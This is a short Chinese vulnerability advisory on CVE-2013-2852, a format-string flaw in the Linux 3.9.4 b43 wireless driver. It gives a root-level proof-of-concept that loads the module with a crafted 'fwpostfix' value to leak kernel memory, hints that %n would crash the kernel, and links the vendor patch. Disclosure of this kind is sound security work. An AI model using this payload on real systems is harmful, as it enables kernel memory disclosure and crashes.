Linux Kernel 'b43'无线驱动本地特权提升漏洞

漏洞版本:

Linux Kernel 3.9.4

漏洞描述:

CVE ID:CVE-2013-2852

Linux是一款开源的操作系统。

Linux b43无线驱动存在安全问题,允许本地攻击者利用漏洞提升权限。
b43无线驱动drivers/net/wireless/b43/main.c b43_request_firmware函数可使用"fwpostfix"模块参数来更改文件名用于获取固件,如果此文件没有找到的情况下,错误消息会把文件名以格式串处理,这可导致应用程序崩溃或可以从uid-0提权到ring-0。

测试方法:

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. # rmmod b43
  2. # modprobe b43 fwpostfix=AA%xBB
  3. ...
  4. # dmesg
  5. ...
  6. b43-0 ERROR:Firmware file "b43AAdeff80ccBB/a0g1bsinitvals5.fw"not found
  7.  
  8. Using%n instead of %x would lead to exciting crashes.:)

安全建议:

厂商解决方案

用户可参考如下厂商提供的安全公告获得补丁信息:
http://git.kernel.org/cgit/linux/kernel/git/linville/wireless.git/commit/?id=9538cbaab6e8b8046039b4b2eb6c9d614dc782bd
原文地址:https://www.cnblogs.com/security4399/p/3134740.html